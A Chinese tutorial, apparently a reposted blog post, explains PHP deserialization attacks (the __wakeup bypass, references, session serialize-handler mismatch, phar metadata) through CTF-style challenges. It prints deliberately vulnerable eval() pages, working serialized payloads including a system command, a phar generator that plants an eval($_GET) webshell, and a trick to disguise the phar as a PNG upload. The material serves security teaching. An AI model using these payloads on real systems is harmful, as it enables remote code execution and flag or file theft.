反序列化漏洞详解(三)

news2025/1/16 7:58:22

目录

一、wakeup绕过

二、引用

三、session反序列化漏洞

3.1 php方式存取session格式

3.2 php_serialize方式存取session格式

3.3 php_binary方式存取session格式

3.4 代码演示

3.5 session例题获取flag

四、phar反序列化漏洞

4.1 phar常识

4.2 代码演示

4.3 phar例题获取flag


一、wakeup绕过

(不怎么重要,但需要知道)

反序列化漏洞:CVE-2016-7124 就是这个原因。

漏洞产生原因:如果存在__wakeup方法,调用unserilize()方法前泽贤调用wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行

直接代码演示 多说无用

<?php
error_reporting(0);
class secret{
    var $file='index.php';
    public function __construct($file){
        $this->file=$file;
    }
    function __destruct(){
        include_once($this->file);
        echo $flag;
    }
    function __wakeup(){
        $this->file='index.php';
    }
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
    highlight_file(__FILE__);
}
else{
    if (preg_match('/[oc]:\d+:/i',$cmd)){
        echo "Are you daydreaming?";
    }
    else{
        unserialize($cmd);
    }
}
//sercet in flag.php
?>

这里其实我有两个问题
第一个问题 :__wakeup不是在反序列化之前执行的嘛 他赋值不应该是没用嘛 他执行结束后对象获取的不是序列化字符串的值嘛? 难道__wakeup会一直检查?

解决:总结起来,__wakeup 方法是在反序列化过程结束、即将将反序列化的值赋给对象之前触发的。
第二个问题:如果这个属性个数大于原有的不是应该不执行反序列化了嘛 为什么还能执行(我发现有的可以成功执行反序列化有的不可以执行反序列化)


提示秘密在flag.php里面 发现一旦触发wakeup file的值就会变为index.php 这个时候我们就需要绕过wakeup 
//O:+6:"secret":2:{s:4:"file";s:8:"flag.php"}

切记得到的poc最好进行url编码可能因为+触发一些问题 从而无法获取flag


二、引用

(单独见到的时候比较少 和上面一样 会在一道题里出现这一个小问题)

类似于c语言指不怕随机值了针 可以理解为都指向一个地址 一个变另一个也会变

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    $pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if ($o) {
    $o->secret = "*";
    if ($o->secret === $o->enter)
        echo "Congratulation! Here is my secret: ".$flag;
    else
        echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
are you trolling?

如果poc里面有*号就回被屏蔽 没有任何办法 并且如果secret是个随机值 那更不好办

于是采用引用 一节困难都解决了

O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

解释一下:就是secret是对象的第二次使用 记住这么写的就行(说实话代码能看懂,但是这个字符串有点不理解,记住就行),可以理解为enter为第一次引用对象第一次的输出 secret是第二次引用对象第一次输出的结果 他俩值相等


三、session反序列化漏洞

当session_start()被调用或者php.ini中session.auto_start为1时

php内部调用会话管理器,访问用户session被序列化以后,存储到指定目录下

存取数据的格式有多种,常见的有三种

漏洞的产生:写入格式和读取格式不一致 


3.1 php方式存取session格式

<?php
highlight_file(__FILE__);
error_reporting(0);
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>

传入ben=123456


3.2 php_serialize方式存取session格式

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

传入ben=dazhuang&b=666


3.3 php_binary方式存取session格式

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

传入 发现有些不一样 那是因为该方式中的属性长度以二进制方式存储 文本方式看不出来

使用010二进制读取 发现benben前有个06 b前有个01


3.4 代码演示

有两个页面

提交数据的页面

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

漏洞页面

<?php 
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
?>

提交数据是以php_serialize的方式进行存session文件的 如果我们传入a=tzy

则文件内的内容就是a:1:{s:1:"a";s:3:"tzy";}

但是他取的时候使用的是php方式进行读取session文件 会把竖线前当成键名,后面当成键值,所以要对先加上一个竖线  a:1:{s:1:"a";s:3:"|tzy";}


在漏洞界面代码只要是能触发destruct魔术方法就能执行eval语句 所以a=system(dir); 并且要对该类的对象进行反序列化 才能触发魔术方法

D实例化并赋值a为system(dir)的poc:O:1:"D":1:{s:1:"a";s:11:"system(dir);";}

整体提交的poc:a= |O:1:"D":1:{s:1:"a";s:11:"system(dir);";}

保存到服务器的内容就成为了

a:1:{s:1:"a";s:3:"|O:1:"D":1:{s:1:"a";s:11:"system(dir);"}";}

但是php方式进行读取的时候  键值是竖线后序列化的字符串 会将键值反序列化 从而执行了eval。


session的流程就是你提交session后 再次访问同一个session的页面 这个页面就会获取之前的session并读取 并按照当前页面设置的方法通过session_start()进行读取session文件 读取也就是执行一遍 获取里面session内的名字以及所对应的内容 在该演示中 php因为存储的形式是键值+序列化后的字符串 在读取的时候 会将字符串反序列化才能获取值 所以就造成了漏洞


于是直接访问漏洞界面即可


3.5 session例题获取flag

<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
    public $name;
    public $her;
    function __wakeup(){
        $this->her=md5(rand(1, 10000));
        if ($this->name===$this->her){
            include('flag.php');
            echo $flag;
        }
    }
}
?>

通过提示查看hint.php 应该是提交页面

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

提交参数a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

成功


四、phar反序列化漏洞

4.1 phar常识

phar是一个文件 可以理解为一个压缩包

JAR是开发Java程序的一个应用,包括所有的可执行,可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单

PHAR是PHP里类似于JAR的一种打包文件。

对于PHP5.3或更高版本,Phar后缀文件时默认开启支持的,可以直接使用它

文件包含:phar为协议,可读取,.phar文件

经常看见的后缀 不能算是标识信息 真正标识的是文件的头部信息

phar.readonly 设置为 Off 时,表示允许在运行时对 Phar 文件进行修改,例如创建、修改或删除其中的文件。这可以方便地对 Phar 文件进行更新和维护。默认情况下,phar.readonly 被设置为 On,即不允许对 Phar 文件进行修改,以提供更高的安全性。

做安全的了解就行 知道差不多 不深究原理


4.2 代码演示

生成phar文件的代码 这也是生成phar文件的模版

<?php
highlight_file(__FILE__);
class Testobj
{
    var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data 这里进行序列化
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

执行后test.phar内容就是 只关心序列化的字段就可以 

漏洞页面代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
    var $output="echo 'ok';";
    function __destruct()
    {
        eval($this->output);
    }
}
if(isset($_GET['filename']))
{
    $filename=$_GET['filename'];
    var_dump(file_exists($filename));
}
?>

传入filename参数 使用file_exists执行该文件 看是否存在该文件 

这个时候就用到了phar协议了 他会解析phar文件 一但解析 会将phar文件内的M字符串进行反序列化 就会触发魔术方法destruct 如果字符串里的类是该漏洞页面的类 并且为该类的output进行赋值为命令  就可以成功执行eval

因为这个时候的output的值为eval($_GET["a"]) 这个a还没获取到 所以没有执行远程命令

output的值为eval($_GET["a"])有好处 直接一个phar文件就能进行无数次的a命令执行 否则一个命令就需要生成一个phar文件

增加a参数

4.3 phar例题获取flag

代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
if (isset($filename)){
    echo md5_file($filename);
}
//upload.php
?>

一看必须触发destruct魔术方法才行 但是没有反序列化函数 只能用到phar

生成一个phar文件 模版就用上一题的  修改部分内容即可  就把当前类赋值过去内容为空就行 也不需要为类增加属性 就没了  整体来说 就是在模版中生成phar 将类实例化的对象传入到phar文件的meta位置 就会 自动序列化了 

<?php
highlight_file(__FILE__);
class TestObject {

    }

@unlink('poc.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('poc.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data 这里进行序列化
$phar->addFromString("poc.txt","poc");  //添加要压缩的文件
$phar->stopBuffering();
?>

执行生成poc.phar

发现上传的时候只能上传图片文件 直接修改poc.phar为poc.png 之前也说了 文件的标识不是后缀而是文件头 所以使用phar协议的时候也能解析poc.png

成功上传 并给出位置

成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1281151.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TensorRT安装及使用教程(ubuntu系统部署yolov7)

1 什么是TensorRT 一般的深度学习项目&#xff0c;训练时为了加快速度&#xff0c;会使用多 GPU 分布式训练。但在部署推理时&#xff0c;为了降低成本&#xff0c;往往使用单个 GPU 机器甚至嵌入式平台&#xff08;比如 NVIDIA Jetson&#xff09;进行部署&#xff0c;部署端也…

【Springboot+vue】如何运行springboot+vue项目

从github 或者 gitee 下载源码后&#xff0c;解压&#xff0c;再从idea打开项目 后端代码处理 这是我在gitee下载下来的源码 打开之后&#xff0c;先处理后端代码 该配置的配置&#xff0c;该部署的部署 比如将sql文件导入数据库 然后去配置文件更改配置 然后启动项目 确保…

【开源】基于JAVA语言的桃花峪滑雪场租赁系统

项目编号&#xff1a; S 036 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S036&#xff0c;文末获取源码。} 项目编号&#xff1a;S036&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 游客服务2.2 雪场管理 三、数据库设…

Python、Stata、SPSS怎么学?推荐一波学习资料

1.Python学习推荐书目 关于Python机器学习&#xff0c;推荐学习杨维忠、张甜所著的&#xff0c;清华大学出版社出版的《Python机器学习原理与算法实现》&#xff0c;以及张甜、杨维忠所编著的&#xff0c;清华大学出版社出版的《Python数据科学应用从入门到精通》&#xff0c;…

【异常】捕获线程池执行任务时产生的异常

前言&#xff1a; 在编写程序时&#xff0c;我们为了充分利用多核CPU、加快接口响应速度&#xff0c;通常会使用线程池来处理请求&#xff0c;但线程池执行任务过程中难免会出现异常&#xff0c;导致请求失败。那如果我们想在任务发生异常后捕获异常&#xff0c;并做一些”善后…

【C++ regex】C++正则表达式

文章目录 前言一、正则表达式是什么&#xff1f;二、<regex>库的基础使用2.1 第一个示例2.1 <regex>库的函数详解std::regex_matchstd::regex_searchregex_search 和 regex_match 的区别std::regex_replacestd::regex_iterator 和 std::sregex_iterator&#xff1a…

未在本地计算机上注册“microsoft.ACE.oledb.12.0”提供程序报错的解决办法

当在本地计算机上使用Microsoft Office相关库时&#xff0c;可能会出现“未在本地计算机上注册microsoft.ACE.oledb.12.0”提供程序的报错。这是由于缺少相关的驱动程序或者未安装相应的软件所导致的。下面是解决该问题的完整攻略。 可能是因为没有安装数据访问组件&#xff0…

LeetCode(51)简化路径【栈】【中等】

目录 1.题目2.答案3.提交结果截图 链接&#xff1a; 简化路径 1.题目 给你一个字符串 path &#xff0c;表示指向某一文件或目录的 Unix 风格 绝对路径 &#xff08;以 / 开头&#xff09;&#xff0c;请你将其转化为更加简洁的规范路径。 在 Unix 风格的文件系统中&#xff…

Go 程序编译过程(基于 Go1.21)

版本说明 Go 1.21 官方文档 Go 语言官方文档详细阐述了 Go 语言编译器的具体执行过程&#xff0c;Go1.21 版本可以看这个&#xff1a;https://github.com/golang/go/tree/release-branch.go1.21/src/cmd/compile 大致过程如下&#xff1a; 解析 (cmd/compile/internal/synt…

【文献阅读笔记】基于自监督的异常检测和定位:SSM

2022 IEEE TRANSACTIONS ON MULTIMEDIA 领域&#xff1a;异常检测 目标&#xff1a;图像输入数据 文章目录 1、模型2、方法2.1、random masking2.2、restoration network2.3、损失函数2.4、推理时的渐进细化 3、实验4、引用5、想法 1、模型 训练&#xff1a; 每个图像实时生成随…

时间复杂度为O (nlogn)的排序算法

归并排序 归并排序遵循分治的思想&#xff1a;将原问题分解为几个规模较小但类似于原问题的子问题&#xff0c;递归地求解这些子问题&#xff0c;然后合并这些子问题的解来建立原问题的解&#xff0c;归并排序的步骤如下&#xff1a; 划分&#xff1a;分解待排序的 n 个元素的…

智能诊疗体验:整合AI技术的互联网医院小程序开发

在科技化的趋势下&#xff0c;互联网医院小程序的开发变得愈发重要&#xff0c;尤其是通过整合人工智能&#xff08;AI&#xff09;技术&#xff0c;进一步提升了就医的效率。 一、引言 互联网医院小程序其开发目标是提高医疗服务的效率&#xff0c;同时也也提升了用户的就医…

Linux学习笔记之七(shell脚本的基本语法)

Shell 1、Shell脚本2、常用运算符2、特殊语法4、关于变量的一些命令4.1、echo4.2、export4.3、read4.4、declare/typeset4.5、local4.6、unset 5、基本逻辑语法5.1、if判断5.2、for循环5.3、while循环5.4、case语句 6、函数定义7、多脚本链接 1、Shell脚本 学习shell脚本开发之…

Difference between getc(), getchar(), and gets()

getc(): 从输入中只能读单个字符 getchar()&#xff1a;从标准输入流中输入都单个字符。 两者基本等同&#xff0c;唯一不一样的是getc()是任何输入流&#xff0c;而getchar()是标准输入流。 gets:可以读入含有空格的字符串 // Example for getc() in C #include <stdio.h…

DDD系列 - 第4讲 从架构师的角度看待DDD - 一个关于拆解、微服务、面向对象的故事(二)

目录 第3次拆解 - 面向对象分析与设计3.1 交互入口实现层3.2 面向对象分析3.2.1 根据业务映射类3.2.2 对象持久化仓库3.2.3 自定义属性类3.2.4 类间的关联关系3.2.5 分包提升内聚、包内指定入口类降低耦合3.2.6 定义交互出口3.3 流程编排 & 业务编排3.4 交互出口实现层 &am…

使用AOS实现网页动画效果

在现代Web开发中&#xff0c;动画效果是提升用户体验和页面交互性的重要因素之一。而AOS&#xff08;Animate On Scroll&#xff09;作为一个强大的动画库&#xff0c;可以帮助我们轻松地实现网页元素的滚动动画效果。 什么是AOS&#xff1f; AOS是一个基于CSS3和JavaScript的…

Python学习路线 - Python语言基础入门 - 判断语句

Python学习路线 - Python语言基础入门 - 判断语句 前言布尔类型和比较运算符布尔类型布尔类型的定义 比较运算符 if语句的基本格式if判断语句 if else 语句if elif else 语句判断语句的嵌套实战案例 前言 进行逻辑判断&#xff0c;是生活中常见的行为。同样&#xff0c;在程序…

【uni-app】赋予你的APP(Android原生)小程序开发能力

采用DCloud(数字天堂&#xff08;北京&#xff09;网络技术有限公司)的uniMPsdk(uni小程序SDK)&#xff0c;是为原生App打造的可运行基于 uni-app 开发的小程序前端项目的框架&#xff0c;从而帮助原生App快速获取小程序的能力。 uni-app文档地址(小程序开发人员开发用) uniMP…

冗余链路和生成树协议

文章目录 冗余链路生成树协议 冗余链路 背景&#xff1a;在许多交换机或者交换机设备组成的网络环境中&#xff0c;通常都使用一些备份连接&#xff0c;来提高网络的健全。在金融网中A和B之间不止一条线路&#xff0c;保证网络的安全性能。备份连接也叫做冗余链路 冗余链路带…

Xshell会话文件解密获取密码

Xshell会话文件解密获取密码 开发了一个小工具用于获取已存储的xshell会话密码功能简介截图展示下载地址 开发了一个小工具用于获取已存储的xshell会话密码 在日常开发中&#xff0c;服务器太多&#xff0c;密码记不住。使用xshell管理服务器会话&#xff0c;记住密码&#xf…